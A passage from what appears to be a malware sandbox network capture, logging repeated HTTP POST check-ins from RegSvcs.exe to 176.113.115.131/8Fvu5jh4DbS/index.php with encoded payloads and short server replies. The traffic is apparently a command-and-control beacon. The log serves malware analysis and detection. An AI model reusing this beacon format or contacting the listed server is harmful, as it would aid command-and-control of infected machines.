Jan 8, 2025 08:43:02.419342995 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	55869	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:03.935311079 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:04.628889084 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	55885	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:06.265182018 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:06.970510960 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	55897	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:08.483939886 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:09.181086063 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	55913	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:10.812190056 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:11.501291037 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	55929	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:13.018024921 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:13.708719969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	55945	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:15.343653917 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:16.047466993 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	55961	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:17.566282988 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:18.273776054 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	55976	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:19.907335043 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:20.603780031 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	55988	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:22.124735117 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:22.831617117 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	56004	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:24.470468044 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:25.156790018 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	56020	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:26.673631907 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:27.388703108 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	56036	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:29.020411015 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:29.707614899 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	56051	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:31.220406055 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:31.919856071 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	56067	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:33.547056913 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:34.257252932 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	56083	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:35.766031981 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:36.481360912 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	56095	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:38.109870911 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:38.793694973 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	56100	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:40.330431938 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:41.037965059 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	56101	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:42.671935081 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:43.362859011 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	56102	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:44.874779940 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:45.574013948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	56103	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:47.206691980 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:47.893065929 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	56104	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:49.406824112 CET	312	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 35 37 32 35 45 30 37 41 38 35 46 38 37 43 36 41 46 34 33 35 35 45 34 43 35 41 42 34 36 41 41 34 35 34 33 38 35 36 33 34 30 42 32 46 38 41 30 30 44 39 31 36 42 33 35 38 43 41 30 45 33 33 45 35 37 32 35 38 46 42 32 41 34 34 43 34 30 39 44 39 31 44 35 41 37 33 46 31 42 37 38 44 36 38 36 32 43 42 34 32 41 46 36 34 42 43 34 30 39 32 34 42 36 35 31 36 30 45 45 42 36 44 43 44 44 46 32 35 38 30 37 33 41 31 38 38 31 45 36 32 38 34 39 42 42 42 31 37 36 39 35 42 Data Ascii: r=5725E07A85F87C6AF4355E4C5AB46AA4543856340B2F8A00D916B358CA0E33E57258FB2A44C409D91D5A73F1B78D6862CB42AF64BC40924B65160EEB6DCDDF258073A1881E62849BBB17695B
Jan 8, 2025 08:43:50.102644920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	56105	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 08:43:51.734407902 CET	160	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.113.115.131 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 8, 2025 08:43:52.439913034 CET	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Jan 2025 07:43:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	56106	176.113.115.131	80	1436	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
